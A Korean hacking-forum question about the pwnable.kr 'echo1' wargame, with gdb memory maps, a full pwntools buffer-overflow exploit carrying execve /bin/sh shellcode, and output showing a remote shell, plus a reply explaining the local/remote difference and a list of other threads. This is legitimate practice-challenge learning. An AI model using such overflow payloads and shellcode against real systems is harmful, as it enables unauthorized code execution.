시스템 해킹

 1574, 1/79 회원가입  로그인  
   turttle2s
   pwnable.kr echo1 질문2 (스포 주의)

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=2011 [복사]


이전글 http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=2000

이전에 echo1  풀이를 봐도 이해가 안가서 질문글을 올렸었는데, 해결이 안돼서 다음에 보겠다고하고 넘어갔습니다.

이번에 echo1 문제를 다시보는데 여전히 이해가 가지 않습니다.

분명히 echo1에서 오버플로가 발생하고, NX가 적용되어있지 않아 쉘코드를 실행시키는 문제로 보입니다. 그런데 어떻게 실행을 시킬것인가가 관건인데, 풀이를 보니 id 영역에 jmp rsp의 opcode(\xff\xe4)를 저장하고 이걸 실행시키더라구요. (rsp는 쉘코드를 가리키고있습니다.)

문제는 id 영역에는 실행권한이 없어서 opcode를 저장해도 실행할수가 없습니다.
그래서 rip를 id로 조절한다고해도, 실행하려고하면 SIGSEGV가 발생합니다. 로컬에서는요.
근데 리모트로하면 잘 됩니다?  좀 혼란스러운데 뭘 놓치고있는걸까요..

[디버깅 정보]

(gdb) info proc
process 165283
cmdline = '/home/ubuntu/ctf/echo1'
cwd = '/home/ubuntu/ctf'
exe = '/home/ubuntu/ctf/echo1'


(gdb) !cat /proc/165283/maps
00400000-00401000 r-xp 00000000 ca:01 785621                             /home/ubuntu/ctf/echo1
00601000-00602000 r--p 00001000 ca:01 785621                             /home/ubuntu/ctf/echo1
00602000-00603000 rw-p 00002000 ca:01 785621                             /home/ubuntu/ctf/echo1   // 여기는 실행권한이 없음.
(생략)
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0                          [stack]   // 여기는 실행권한이 있음
(생략)


(gdb) p &id
$2 = (<data variable, no debug info> *) 0x6020a0 <id>


[익스 코드]
from pwn import *

#e = ELF("./echo1")
jmp_rsp = b"\xff\xe4"
sc = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p = remote("pwnable.kr", 9010)
#p = process("./echo1")

name = jmp_rsp
name_addr = 0x6020a0
p.sendline(name)
print(p.recvuntil(b"> "))
p.sendline(b"1")        # 1. BOF

payload = b"a"*0x20 + b"b"*0x8   # buf + rbp
payload += p64(name_addr)   # ret
payload += sc
p.sendline(payload)

p.interactive()


[실행 결과]
$ python echo1.py
[+] Opening connection to pwnable.kr on port 9010: Done
b"hey, what's your name? : \n- select echo type -\n- 1. : BOF echo\n- 2. : FSB echo\n- 3. : UAF echo\n- 4. : exit\n> "
[*] Switching to interactive mode
hello \xff\xe4
$          aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb\xa0 `
goodbye \xff\xe4
$              id
uid=1053(echo1) gid=1053(echo1) groups=1053(echo1)

  Hit : 665     Date : 2022/10/05 12:21



    
turttle2s https://ray3708.tistory.com/28

실제로 데이터 영역에도 실행권한이 있고, 로컬에서 적용이 안된 이유는 커널 버전 차이라고 합니다
2022/11/02  
turttle2s 문제 서버에 들어가서 확인해볼 생각을 안했네요 2022/11/02  
  pwnable.kr echo1 질문2 (스포 주의)[2]     turttle2s
10/05 664
1573   LOB GATE문제 풀면서 궁금한점[3]     hackxx123
08/24 485
1572   libc관련 - 2[5]     lMaxl04
08/24 487
1571   ASLR이 걸려있을때 ret에 ROP으로 jmp %esp을 사용한 경우.[3]     lMaxl04
06/29 685
1570   리모트 환경에서의 스택 주소 확인 방법이 궁금합니다.[2]     lMaxl04
06/16 571
1569   해킹 프리서버 없어졌나요?[1]     terfkim
04/15 1191
1568   스택에 데이터 넣을 때 SIGSEGV[4]     turttle2s
02/04 1051
1567   pwnable.kr echo1 질문[2]     turttle2s
06/17 1351
1566   ROP strcpy 관련 질문입니다.[3]     heeyoung0511
06/16 1204
1565   Level2 -> Level3 에서 vi와 /usr/bin/Editor의 차이[2]     hyemin1826
07/18 1490
1564   Trainer3 ftz.hackerschool.org 호스트 접속 불가[1]     hyemin1826
07/18 2727
1563   dll인젝션 실험중 질문 드립니다.[1]     kkk477
05/31 1526
1562   패킷 복호화를 마스터 하려면 어떤 과정이 있어야하나요?     sa0814
04/01 1413
1561   사기[2]     jas08
03/31 1687
1560   시스템 콜이 가능한 메모리 영역과 불가능한 메모리 영역이 존재하나요?     ocal
03/30 1461
1559   pwntools 사용시와 기본 socket 모듈 이용시 차이?[4]     ocal
01/09 1822
1558   lob level19(nightmare) 관련질문[1]     dnjsdnwja
12/18 1475
1557   ftz level2 질문있습니다[1]     kihyun1998
12/13 1529
1556   ftz level2번 푸는데요 권한이...     kihyun1998
12/06 1449
1555   시스템해킹할때 [3]     thsrhkdwns
12/05 1865
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com